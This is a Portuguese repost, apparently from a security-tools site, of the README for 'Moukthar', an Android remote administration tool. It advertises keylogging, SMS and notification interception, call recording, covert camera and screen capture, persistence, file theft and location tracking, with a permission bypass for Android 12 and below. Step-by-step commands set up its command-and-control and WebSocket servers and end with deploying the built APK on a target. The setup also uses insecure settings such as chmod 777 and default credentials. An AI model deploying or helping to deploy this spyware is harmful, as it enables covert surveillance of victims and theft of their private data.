moukthar

Moukthar

Ferramenta de administração remota para Android

Demonstração

Funcionalidades

• Contorno de permissões (Android 12 e inferiores)
• Keylogger
• Escuta de notificações
• Escuta de SMS
• Gravação de chamadas telefônicas
• Captura de imagens e capturas de tela
• Gravação de vídeo
• Persistência
• Ler e escrever contatos
• Listar aplicativos instalados
• Baixar e enviar arquivos
• Obter localização do dispositivo

Instalação

• Clone o repositório
  root@kitploit:~

  git clone https://github.com/Tomiwa-Ot/moukthar.git
  

• Instale php, composer, mysql, driver php-mysql, apache2 e a2enmod
• Mova os arquivos do servidor para /var/www/html/ e instale as dependências
  root@kitploit:~

  mv moukthar/Server/* /var/www/html/
  cd /var/www/html/c2-server
  composer install
  cd /var/www/html/web-socket/
  composer install
  cd /var/www
  chown -R www-data:www-data .
  chmod -R 777 .
  

  As credenciais padrão são nome de usuário: android e senha: android
• Crie um novo usuário SQL
  root@kitploit:~

  CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
  GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
  FLUSH PRIVILEGES;
  

• Defina as credenciais do banco de dados em c2-server/.env e web-socket/.env
• Execute database.sql
• Inicie o servidor WebSocket ou implante como serviço no Linux
  root@kitploit:~

  php Server/web-socket/App.php
  # OU
  sudo mv Server/websocket.service /etc/systemd/system/
  sudo systemctl daemon-reload
  sudo systemctl enable websocket.service
  sudo systemctl start websocket.service
  

• Modifique /etc/apache2/sites-available/000-default.conf
  root@kitploit:~

  <VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/c2-server
        DirectoryIndex app.php
        Options -Indexes
  
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
  </VirtualHost>
  
  

• Modifique /etc/apache2/apache2.conf
  root@kitploit:~

    Comente esta seção
    #<Directory />
    #       Options FollowSymLinks
    #       AllowOverride None
    #       Require all denied
    #</Directory>
  
   Adicione isto
    <Directory /var/www/html/c2-server>
        Options -Indexes
        DirectoryIndex app.php
        AllowOverride All
        Require all granted
    </Directory>
  

• Aumente o tamanho máximo de upload de arquivos PHP em /etc/php/*.*/apache2/php.ini
  root@kitploit:~

  ; Aumente o tamanho para permitir uploads grandes do cliente
  upload_max_filesize = 128M
  ; Defina post_max_size como upload_max_filesize + 1
  post_max_size = 129M
  

• Defina o endereço do servidor WebSocket na tag e c2-server/src/View/features/files.php
  root@kitploit:~

  const ws = new WebSocket('ws://IP_ADDRESS:8080');
  

• Reinicie o Apache usando o comando abaixo
  root@kitploit:~

  sudo a2enmod rewrite && sudo service apache2 restart
  

• Defina o endereço do servidor C2 e do servidor WebSocket no cliente functionality/Utils.java
  root@kitploit:~

  public static final String C2_SERVER = "http://localhost";
  
  public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
  

• Compile o APK usando Android Studio e implante no alvo

Capturas de Tela

A FAZER

• Rolagem automática de logs no painel
• Captura de tela não está funcionando
• Captura de imagem/vídeo não funciona quando o aplicativo não está em foco
• Baixar arquivos no aplicativo usando DownloadManager não está funcionando
• Listar o conteúdo de um diretório não lista todos os arquivos/pastas